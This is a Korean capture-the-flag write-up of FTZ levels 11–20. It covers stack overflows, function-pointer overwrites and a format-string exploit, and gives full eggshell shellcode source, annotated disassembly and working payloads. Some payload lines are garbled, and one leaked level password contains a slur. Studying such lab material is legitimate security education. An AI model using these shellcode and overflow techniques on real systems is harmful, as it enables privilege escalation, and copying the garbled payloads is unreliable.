FTZ-Writeup
내 인생의 첫 BoF! Simple… BoF…
level11
1. Directory info
-rwsr-x— 1 level12 level11 13733 3월 8 2003 attackme
-rw-r—– 1 root level11 168 3월 8 2003 hint
drwxr-xr-x 2 root level11 4096 2월 24 2002 public_html
drwxrwxr-x 2 root level11 4096 2월 19 16:37 tmp
attackme 라는 바이너리를 실행하여, BoF 공격을 해야 한다.
2. hint
1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char *argv[] )
{
char str[256];
setreuid( 3092, 3092 );
strcpy( str, argv[1] );
printf( str );
}
hint 파일에는 위와 같이 attackme 바이너리의 C 코드가 주어지게 된다. 사용자가 입력한 argv 값을 str로 복사하는 코드다. 이 부분에서 취약점은 길이 값을 검증하지 않는 strcpy를 사용하게 되는 것이며, 이를 이용하여 return address(eip)를 변조하는 것이다.
strcpy 함수
1
2
#include <string.h>
char *strcpy(char *dest, const char *src);
- 헤더 string.h
- 형태 char * strcpy( char *dest, const char *src);
- 인수 char *dest 복사할 위치, char *src 원문 문자열
- 반환 복사한 문자열을 반환
즉, strcpy 는 문자열을 복사하는 함수인 것이다. 사용자가 입력할 수 있는 문자열을 복사할 위치의 길이 보다 길게 입력하면 된다. 해당 바이너리의 Stack Frame을 확인 하기 위해서는 gdb 를 통해 확인해야 한다.
3. gdb attackme
0x08048470 <main+0>: push ebp
0x08048471 <main+1>: mov ebp,esp
; 에필로그
0x08048473 <main+3>: sub esp,0x108
0x08048479 <main+9>: sub esp,0x8
; stack frame
0x0804847c <main+12>: push 0xc14
0x08048481 <main+17>: push 0xc14
0x08048486 <main+22>: call 0x804834c <setreuid>
; setreuid(0xc14, 0xc14)
0x0804848b <main+27>: add esp,0x10
0x0804848e <main+30>: sub esp,0x8
0x08048491 <main+33>: mov eax,DWORD PTR [ebp+12]
; ebp+4 = sfp
; ebp+8 = argc
; ebp+12 = argv
0x08048494 <main+36>: add eax,0x4
; eax = argv+4 = argv[1]
0x08048497 <main+39>: push DWORD PTR [eax]
0x08048499 <main+41>: lea eax,[ebp-264]
0x0804849f <main+47>: push eax
0x080484a0 <main+48>: call 0x804835c <strcpy>
; strcpy(eax,argv[1])
0x080484a5 <main+53>: add esp,0x10
0x080484a8 <main+56>: sub esp,0xc
0x080484ab <main+59>: lea eax,[ebp-264]
0x080484b1 <main+65>: push eax
0x080484b2 <main+66>: call 0x804833c <printf>
0x080484b7 <main+71>: add esp,0x10
0x080484ba <main+74>: leave
0x080484bb <main+75>: ret
; eip 변조를 해야함
0x080484bc <main+76>: nop
0x080484bd <main+77>: nop
0x080484be <main+78>: nop
0x080484bf <main+79>: nop
End of assembler dump.
현재 Stack Frame은 epb-264만큼이며, ret을 덮어 쓰기 위해서는 ebp+8한 위치 만큼 덮어써야 한다.
stack = 264 | SPF = 4 | Ret = 4 |
최종적으로는 Ret이 가르키는 주소에 shellcode가 실행될 수 있게 해야 한다.
- eggshell 출처 : http://pwnbit.kr/7
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80" //setuid(geteuid())
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void)
{
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[])
{
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for(i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for(i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}
[level11@ftz tmp]$ gcc -o egg egg.c
[level11@ftz tmp]$ ./egg
Using address: 0xbffff9e8
Ret을 변조하여 쉘을 실행하는 방법은 여러가지가 있지만 이번에는 eggshell이라는 방식을 이용하여, exploit을 하게 되었다. eggshell 코드는 출처를 통해 복붙하였다
5. exploit code
./attackme python -c 'print "A"*268+"\xe8\xf9\xff\xbf"+\x00'
Level12 Password is “it is like this”.
exploit code는 위와 같으며, little 엔디안 방식으로 eggshell 주소를 넣어 주었다.
Level12
1. Directory info
-rwsr-x— 1 level13 level12 13771 3월 8 2003 attackme
-rw-r—– 1 root level12 204 3월 8 2003 hint
drwxr-xr-x 2 root level12 4096 2월 24 2002 public_html
drwxrwxr-x 2 root level12 4096 2월 19 17:26 tmp
attackme 라는 바이너리를 실행하여, BoF 공격을 해야 한다.
2. hint
1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main( void )
{
char str[256];
setreuid( 3093, 3093 );
printf( "문장을 입력하세요.\n" );
gets( str );
printf( "%s\n", str );
}
gets() 함수를 이용하여, BoF를 하는 방법이다.
- eggshell의 실행 주소 파악
- 알아야할 것 : eggshell
- gets 함수는 문자열 뒤에 \x00 (null)을 입력 해줘야 하며, EOF(End of File)인터럽트가 발생한다.
- EOF 개념
- gets 함수파악
3. gdb attackme
0x08048470 <main+0>: push ebp
0x08048471 <main+1>: mov ebp,esp
0x08048473 <main+3>: sub esp,0x108
0x08048479 <main+9>: sub esp,0x8
0x0804847c <main+12>: push 0xc15
0x08048481 <main+17>: push 0xc15
0x08048486 <main+22>: call 0x804835c <setreuid>
0x0804848b <main+27>: add esp,0x10
0x0804848e <main+30>: sub esp,0xc
0x08048491 <main+33>: push 0x8048538
0x08048496 <main+38>: call 0x804834c <printf>
0x0804849b <main+43>: add esp,0x10
0x0804849e <main+46>: sub esp,0xc
0x080484a1 <main+49>: lea eax,[ebp-264]
0x080484a7 <main+55>: push eax
0x080484a8 <main+56>: call 0x804831c <gets>
0x080484ad <main+61>: add esp,0x10
0x080484b0 <main+64>: sub esp,0x8
0x080484b3 <main+67>: lea eax,[ebp-264]
; move eax, ebp-264
0x080484b9 <main+73>: push eax
0x080484ba <main+74>: push 0x804854c
0x080484bf <main+79>: call 0x804834c <printf>
0x080484c4 <main+84>: add esp,0x10
0x080484c7 <main+87>: leave
0x080484c8 <main+88>: ret
0x080484c9 <main+89>: lea esi,[esi]
0x080484cc <main+92>: nop
0x080484cd <main+93>: nop
0x080484ce <main+94>: nop
0x080484cf <main+95>: nop
4. eggshell address
1
2
3
4
int main()
{
printf("EGG addr : %p\n",getenv("EGG"));
}
eggshell은 실행마다 getenv 주소가 바뀌게 된다. 따라서 EGG 환경 변수 주소를 파악하는데 위와 같은 소스를 이용하여 재확인해야 한다.
5. exploit
(python -c ‘print “A”*268+”\x7d\xf4\xff\xbf”‘;cat) | /home/level12/attackme
Level13 Password is “have no clue”.
표준입력을 인자로 받는 gets함수는 () | 를 통해 인자값을 넣어줘야 한다. |
Level12
1. Directory info
-rwsr-x— 1 level14 level13 13953 3월 8 2003 attackme
-rw-r—– 1 root level13 258 3월 8 2003 hint
drwxr-xr-x 2 root level13 4096 2월 24 2002 public_html
drwxrwxr-x 2 root level13 4096 1월 11 2009 tmp
2. hint
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdlib.h>
main(int argc, char *argv[])
{
long i=0x1234567;
char buf[1024];
setreuid( 3094, 3094 );
if(argc > 1)
strcpy(buf,argv[1]);
if(i != 0x1234567) {
printf(" Warnning: Buffer Overflow !!! \n");
kill(0,11);
}
}
3. gdb attackme
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
0x080484a0 <main+0>: push ebp
0x080484a1 <main+1>: mov ebp,esp
0x080484a3 <main+3>: sub esp,0x418
0x080484a9 <main+9>: mov DWORD PTR [ebp-12],0x1234567
; ebp-12 지점에 0x1234567이 들어가게 된다. 실제로 들어가는 값은 0x01234567
0x080484b0 <main+16>: sub esp,0x8
0x080484b3 <main+19>: push 0xc16
0x080484b8 <main+24>: push 0xc16
0x080484bd <main+29>: call 0x8048370 <setreuid>
0x080484c2 <main+34>: add esp,0x10
0x080484c5 <main+37>: cmp DWORD PTR [ebp+8],0x1
0x080484c9 <main+41>: jle 0x80484e5 <main+69>
0x080484cb <main+43>: sub esp,0x8
0x080484ce <main+46>: mov eax,DWORD PTR [ebp+12]
; eax 는 strcpy가 가지는 첫 번째 인자, long i
0x080484d1 <main+49>: add eax,0x4
0x080484d4 <main+52>: push DWORD PTR [eax]
0x080484d6 <main+54>: lea eax,[ebp-1048]
; ebp-10448 위치가 argv[1] 즉 사용자가 입력한 값이 된다.
; eax 는 strcpy가 가지는 두 번째 인자 arvg[1]이 된다.
0x080484dc <main+60>: push eax
0x080484dd <main+61>: call 0x8048390 <strcpy>
0x080484e2 <main+66>: add esp,0x10
0x080484e5 <main+69>: cmp DWORD PTR [ebp-12],0x1234567
; ebp-12가 가르키는 주소의 값과 0x1234567이 같다면 zf(zeroflag)가 1이 된다.
; zf는 cmp의 결과 값이 0(false)이면 1로 셋팅, 잉? 맞나? 다시확인
0x080484ec <main+76>: je 0x804850d <main+109>
; zf 값이 1이면 해당 함수로 이동하게 된다.
; 0x804850d = leave ret로 이동하게 됨
0x080484ee <main+78>: sub esp,0xc
0x080484f1 <main+81>: push 0x80485a0
0x080484f6 <main+86>: call 0x8048360 <printf>
0x080484fb <main+91>: add esp,0x10
0x080484fe <main+94>: sub esp,0x8
0x08048501 <main+97>: push 0xb
0x08048503 <main+99>: push 0x0
0x08048505 <main+101>: call 0x8048380 <kill>
0x0804850a <main+106>: add esp,0x10
0x0804850d <main+109>: leave
0x0804850e <main+110>: ret
0x0804850f <main+111>: nop
4. exploit
[level13@ftz tmp]$ /tmp/getegg EGG addr : 0xbffff46a
1
/home/level13/attackme `python -c 'print "A"*1036+"\x67\x45><1036+"\x67\x45\x23\x01"+"A"*12+"\x6a\xf4\xff\xbf"'`
sh-2.05b$ my-pass TERM environment variable not set. Level14 Password is “what that nigga want?”.
Level14
1. Directory info
-rwsr-x— 1 level15 level14 13801 12월 10 2002 attackme
-rw-r—– 1 root level14 346 12월 10 2002 hint
drwxr-xr-x 2 root level14 4096 2월 24 2002 public_html
drwxrwxr-x 2 root level14 4096 1월 11 2009 tmp
2. hint
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <unistd.h>
main()
{
int crap;
int check;
char buf[20];
fgets(buf,45,stdin);
if (check==0xdeadbeef)
{
setreuid(3095,3095);
system("/bin/sh");
}
}
소스코드 분석 내용 : buf를 입력 받고, check를 0xdeadbeef로 바꿔야 할듯?
3. gdb attackme
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
0x08048490 <main+0>: push ebp
0x08048491 <main+1>: mov ebp,esp
0x08048493 <main+3>: sub esp,0x38
0x08048496 <main+6>: sub esp,0x4
0x08048499 <main+9>: push ds:0x8049664
; stack에 0x8049664 값을 넣기
0x0804849f <main+15>: push 0x2d
; stack에 0x2d = 45
0x080484a1 <main+17>: lea eax,[ebp-56]
; move eax ebp-56
0x080484a4 <main+20>: push eax
; stack에 eax
0x080484a5 <main+21>: call 0x8048360 <fgets>
; 함수 호출 규약에 따라 fgets(eax,0x2d,0x8049664) 와 같은 형태로 변환
0x080484aa <main+26>: add esp,0x10
0x080484ad <main+29>: cmp DWORD PTR [ebp-16],0xdeadbeef
; int check는 ebp-16에 위치 하고 있으며, 해당 값이 0xdeadbeef로 설정되어 있어야 함
0x080484b4 <main+36>: jne 0x80484db <main+75>
; jne = jump not equal 두 값이 같지 안다면 0x80484db로 이동 -> 바이너리 종료
0x080484b6 <main+38>: sub esp,0x8
0x080484b9 <main+41>: push 0xc17
0x080484be <main+46>: push 0xc17
0x080484c3 <main+51>: call 0x8048380 <setreuid>
0x080484c8 <main+56>: add esp,0x10
0x080484cb <main+59>: sub esp,0xc
0x080484ce <main+62>: push 0x8048548
0x080484d3 <main+67>: call 0x8048340 <system>
0x080484d8 <main+72>: add esp,0x10
0x080484db <main+75>: leave
0x080484dc <main+76>: ret
0x080484dd <main+77>: lea esi,[esi]
4. exploit code
(python -c ‘print “A”*40+”\xef\xbe\xad\xde\x00”‘;cat) | /home/level14/attackme
ebp-56 지점에서 ebp-16까지 값을 채우고(A*40), ebp-16지점에서 4바이트는 0xdeadbeef로 값을 변경해준다. 이후 1바이트는 문자열 종료를 의미하는 null을 넣는다. 이후 fget의 EOF를 cat으로 받으면서 정상적으로 쉘 획득이 가능하도록 한다.
‘xterm-256color’: unknown terminal type. Level15 Password is “guess what”.
Level15
1. Directory info
-rwsr-x— 1 level16 level15 13801 12월 10 2002 attackme
-rw-r—– 1 root level15 185 12월 10 2002 hint
drwxr-xr-x 2 root level15 4096 2월 24 2002 public_html
drwxrwxr-x 2 root level15 4096 1월 11 2009 tmp
2. hint
1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
main()
{ int crap;
int *check;
char buf[20];
fgets(buf,45,stdin);
if (*check==0xdeadbeef)
{
setreuid(3096,3096);
system("/bin/sh");
}
}
3. gdb attackme
0x08048490 <main+0>: push ebp
0x08048491 <main+1>: mov ebp,esp
0x08048493 <main+3>: sub esp,0x38
; esp - 56
0x08048496 <main+6>: sub esp,0x4
; esp - 4
0x08048499 <main+9>: push ds:0x8049664
; stdin
0x0804849f <main+15>: push 0x2d
; 45
0x080484a1 <main+17>: lea eax,[ebp-56]
; move eax ebp-56
0x080484a4 <main+20>: push eax
; buf
0x080484a5 <main+21>: call 0x8048360 <fgets>
; fgets(buf,45,stdin)
0x080484aa <main+26>: add esp,0x10
; esp + 16
0x080484ad <main+29>: mov eax,DWORD PTR [ebp-16]
; eax = ebp-16 주소의 값
0x080484b0 <main+32>: cmp DWORD PTR [eax],0xdeadbeef
; if(eax == 0xdeadbeef)
; 0xdeadbeef 주소 0x80484b2
0x080484b6 <main+38>: jne 0x80484dd <main+77>
0x080484b8 <main+40>: sub esp,0x8
0x080484bb <main+43>: push 0xc18
0x080484c0 <main+48>: push 0xc18
0x080484c5 <main+53>: call 0x8048380 <setreuid>
0x080484ca <main+58>: add esp,0x10
0x080484cd <main+61>: sub esp,0xc
0x080484d0 <main+64>: push 0x8048548
0x080484d5 <main+69>: call 0x8048340 <system>
0x080484da <main+74>: add esp,0x10
0x080484dd <main+77>: leave
0x080484de <main+78>: ret
0x080484df <main+79>: nop
stack 에서 순서는 buf, check, crap 순으로 스택이 쌓이게 된다
- buf
- check
- crap 이런 순서기 때문에 buf 값을 오버플로우 시켜 check에 deadbeef 상수의 주소값을 넣으면 된다.
4. exploit code
(python -c ‘print “A”40+”\xb2\x84\x04\x08”‘;cat) | ./attackme buf ebp-56 위치이며 check 위치는 ebp-16 위치이기때문에 “A”40 만큼 채운 후 deadbeef 주소 값을 넣는다. id uid=3096(level16) gid=3095(level15) groups=3095(level15) my-pass ‘xterm-256color’: unknown terminal type. Level16 Password is “about to cause mass”.
Level16
1. Directory info
-rwsr-x— 1 level17 level16 14017 3월 8 2003 attackme
-rw-r—– 1 root root 235 3월 8 2003 attackme.c
-rw-r—– 1 root level16 235 3월 8 2003 hint
drwxr-xr-x 2 root level16 4096 2월 24 2002 public_html
drwxrwxr-x 2 root level16 4096 1월 11 2009 tmp
2. hint
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
void shell() {
setreuid(3097,3097);
system("/bin/sh");
}
void printit() {
printf("Hello there!\n");
}
main()
{ int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
call();
}
3. gdb attackme
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
main()
0x08048518 <main+0>: push ebp
0x08048519 <main+1>: mov ebp,esp
0x0804851b <main+3>: sub esp,0x38
; esp - 56
0x0804851e <main+6>: mov DWORD PTR [ebp-16],0x8048500
; ebp-16 = 0x8048500
0x08048525 <main+13>: sub esp,0x4
0x08048528 <main+16>: push ds:0x80496e8
; stdin
0x0804852e <main+22>: push 0x30
; 45
0x08048530 <main+24>: lea eax,[ebp-56]
0x08048533 <main+27>: push eax
; eax = ebp-56
0x08048534 <main+28>: call 0x8048384 <fgets>
0x08048539 <main+33>: add esp,0x10
; esp + 16
0x0804853c <main+36>: mov eax,DWORD PTR [ebp-16]
; eax = ebp-16 포인터의 값을 가짐
0x0804853f <main+39>: call eax
0x08048541 <main+41>: leave
0x08048542 <main+42>: ret
shell()
0x080484d0 <shell+0>: push ebp
0x080484d1 <shell+1>: mov ebp,esp
0x080484d3 <shell+3>: sub esp,0x8
0x080484d6 <shell+6>: sub esp,0x8
0x080484d9 <shell+9>: push 0xc19
0x080484de <shell+14>: push 0xc19
0x080484e3 <shell+19>: call 0x80483b4 <setreuid>
0x080484e8 <shell+24>: add esp,0x10
0x080484eb <shell+27>: sub esp,0xc
0x080484ee <shell+30>: push 0x80485b8
0x080484f3 <shell+35>: call 0x8048364 <system>
0x080484f8 <shell+40>: add esp,0x10
0x080484fb <shell+43>: leave
0x080484fc <shell+44>: ret
0x080484fd <shell+45>: lea esi,[esi]
### 4. exploit code
(python -c 'print "A"*40+"\xd0\x84\x04\x08"';cat) | ./attackme
이번에는 다음 call 할 함수의 주소를 bof 시켜 변경하게 된다.
id
uid=3097(level17) gid=3096(level16) groups=3096(level16)
my-pass
'xterm-256color': unknown terminal type.
Level17 Password is "king poetic".
## Level17
### 1. Directory info
-rwsr-x--- 1 level18 level17 13853 3월 8 2003 attackme
-rw-r----- 1 root level17 191 3월 8 2003 hint
drwxr-xr-x 2 root level17 4096 2월 24 2002 public_html
drwxrwxr-x 2 root level17 4096 1월 11 2009 tmp
### 2. hint
```c
#include <stdio.h>
void printit() {
printf("Hello there!\n");
}
main()
{ int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
setreuid(3098,3098);
call();
}
3. gdb attackme
0x080484a8 <main+0>: push ebp
0x080484a9 <main+1>: mov ebp,esp
0x080484ab <main+3>: sub esp,0x38
; esp = ebp-56
0x080484ae <main+6>: mov DWORD PTR [ebp-16],0x8048490
0x080484b5 <main+13>: sub esp,0x4
0x080484b8 <main+16>: push ds:0x804967c
;stdin
0x080484be <main+22>: push 0x30
;48
0x080484c0 <main+24>: lea eax,[ebp-56]
; buf
0x080484c3 <main+27>: push eax
0x080484c4 <main+28>: call 0x8048350 <fgets>
0x080484c9 <main+33>: add esp,0x10
; esp + 16
0x080484cc <main+36>: sub esp,0x8
; esp - 8
0x080484cf <main+39>: push 0xc1a
0x080484d4 <main+44>: push 0xc1a
0x080484d9 <main+49>: call 0x8048380 <setreuid>
0x080484de <main+54>: add esp,0x10
0x080484e1 <main+57>: mov eax,DWORD PTR [ebp-16]
0x080484e4 <main+60>: call eax
0x080484e6 <main+62>: leave
0x080484e7 <main+63>: ret
0x080484e8 <main+64>: nop
0x080484e9 <main+65>: nop
0x080484ea <main+66>: nop
0x080484eb <main+67>: nop
0x080484ec <main+68>: nop
0x080484ed <main+69>: nop
0x080484ee <main+70>: nop
0x080484ef <main+71>: nop
4. exploit code
(python -c ‘print “A”*40+”\x62\xf4\xff\xbf”‘;cat) | ./attackme id uid=3098(level18) gid=3097(level17) groups=3097(level17) my-passwd /bin/sh: line 2: my-passwd: command not found my-pass TERM environment variable not set. Level18 Password is “why did you do it”.
이번 문제는 처음에 call()함수를 실행하기 위해 eip를 변조해야 한다고 생각을 했다. 하지만 내가 변조해야 할 부분은 *call부분에 실행할 함수를 입력하는 것이었다… buf[20] > dummy[20] > *call[4] > dummy[4] > crap[4] > dummy[4] > sfp[4] > ret[4] 이런식으로 스택이 쌓이기 때문에 *call[4]를 변조하면 된다.
level18
1. Directory info
2. hint
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
char string[100];
int check;
int x = 0;
int count = 0;
fd_set fds;
printf("Enter your command: ");
fflush(stdout);
while(1)
{
if(count >= 100)
printf("what are you trying to do?\n");
if(check == 0xdeadbeef)
shellout();
else
{
FD_ZERO(&fds);
FD_SET(STDIN_FILENO,&fds);
if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
{
if(FD_ISSET(fileno(stdin),&fds))
{
read(fileno(stdin),&x,1);
switch(x)
{
case '\r':
case '\n':
printf("\a");
break;
case 0x08:
count--;
printf("\b \b");
break;
default:
string[count] = x;
count++;
break;
}
}
}
}
}
}
void shellout(void)
{
setreuid(3099,3099);
execl("/bin/sh","sh",NULL);
}
3. gdb attackme
4. exploit code
0xdeadbeef (python -c ‘print “\x08”*4+”\xef\xbe\xad\xde”‘;cat) | ./attackme id uid=3099(level19) gid=3098(level18) groups=3098(level18) my-pass ‘xterm-256color’: unknown terminal type. Level19 Password is “swimming in pink”.
18번은 소스코드를 읽고 재 확인 (너무 뽀록으로 품) 0x08을 이용하여 4바이트 뒤로 이동 후 에 deadbeef를 덮어 씌우는 방법이다…
Level19
1. Directory info
-rwsr-x— 1 level20 level19 13615 3월 8 2003 attackme
-rw-r—– 1 root level19 65 3월 8 2003 hint
drwxr-xr-x 2 root level19 4096 2월 24 2002 public_html
drwxrwxr-x 2 root level19 4096 1월 16 2009 tmp
2. hint
1
2
3
4
5
main()
{ char buf[20];
gets(buf);
printf("%s\n",buf);
}
3. gdb attackme
0x08048440 <main+0>: push ebp
0x08048441 <main+1>: mov ebp,esp
0x08048443 <main+3>: sub esp,0x28
0x08048446 <main+6>: sub esp,0xc
0x08048449 <main+9>: lea eax,[ebp-40]
0x0804844c <main+12>: push eax
0x0804844d <main+13>: call 0x80482f4 <gets>
0x08048452 <main+18>: add esp,0x10
0x08048455 <main+21>: sub esp,0x8
0x08048458 <main+24>: lea eax,[ebp-40]
0x0804845b <main+27>: push eax
0x0804845c <main+28>: push 0x80484d8
0x08048461 <main+33>: call 0x8048324 <printf>
0x08048466 <main+38>: add esp,0x10
0x08048469 <main+41>: leave
0x0804846a <main+42>: ret
0x0804846b <main+43>: nop
0x0804846c <main+44>: nop
0x0804846d <main+45>: nop
0x0804846e <main+46>: nop
0x0804846f <main+47>: nop
4. exploit code
(python -c ‘print “A”*44+”\x6e\xf4\xff\xbf”‘;cat) | ./attackme AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAn???? id uid=3100(level20) gid=3099(level19) groups=3099(level19) my-pass TERM environment variable not set. Level20 Password is “we are just regular guys”.
Level20
1. Directory info
-rwsr-sr-x 1 clear clear 11777 6월 18 2008 attackme
-rw-r—– 1 root level20 133 5월 13 2002 hint
drwxr-xr-x 2 root level20 4096 2월 24 2002 public_html
drwxrwxr-x 2 root level20 4096 2월 20 11:40 tmp
2. hint
1
2
3
4
5
6
7
#include <stdio.h>
main(int argc,char **argv)
{ char bleh[80];
setreuid(3101,3101);
fgets(bleh,79,stdin);
printf(bleh);
}
3. gdb attackme
이번 문제는 포맷 스트링을 통해 문제를 해결해야 한다. 포맷 스트링은
1
2
%x 부호 없는 16진수
%n 쓰인 총 바이트 수
위 두 포맷 스트링에 대해서 알고 있어야 한다. hint 에서 보듯 printf(bleh)에는 포맷 스트링이 없기 때문에 아래와 같이 입력 시 주소 출력이 가능하다.
1
2
3
[level20@ftz level20]$ ./attackme
AAAA %x %x %x %x %x
AAAA 4f 4212ecc0 4207a750 41414141 20782520
AAAA를 입력하고 이후에는 주소 값을 보여지게 된다.
1
2
3
[level20@ftz level20]$ ./attackme
AAAAAAAAAAAA %x %x %x %x %x %x %x
AAAAAAAAAAAA 4f 4212ecc0 4207a750 41414141 41414141 41414141 20782520
A를 12개 입력하면 A*12 값이 출력되고 이후 12byte 뒤에 다시 4141로 A가 출력된다. 즉 스택은 아래와 같은 구성이 될 것이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
printf(bleh) = AAAAAAAAAAAA
dummy = 0000004f
4212ecc0
4207a750
char bleh[80] = 41414141
41414141
41414141
20782520
dummy = ?
SFP = 4byte
RET = 4byte
뭐 이런 형식이 아닐까?
1
2
[level20@ftz level20]$ objdump -h attackme |grep .dtors
18 .dtors 00000008 08049594 08049594 00000594 2**2
4. exploit code
- base exploit code egg : 0xbffff46e bfff : 49151 f46e : 62574 AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%62574c%n%49151c%n
2. AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x 4 + 4+ 4+ 4 +8 + 8+ 8 = 16 + 24 = 40 62574-40 = 62534 AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%62174c%n%49151c%n
3. 1bfff = 114687 - 62574 = 52113
1
2
3
4
5
6
7
AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%62174c%n%52113c%n
(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%62534c%n%52113c%n"';cat) | /home/level20/attackme
AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%62534c%n%52113c%n
AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%62085c%n%52562c%n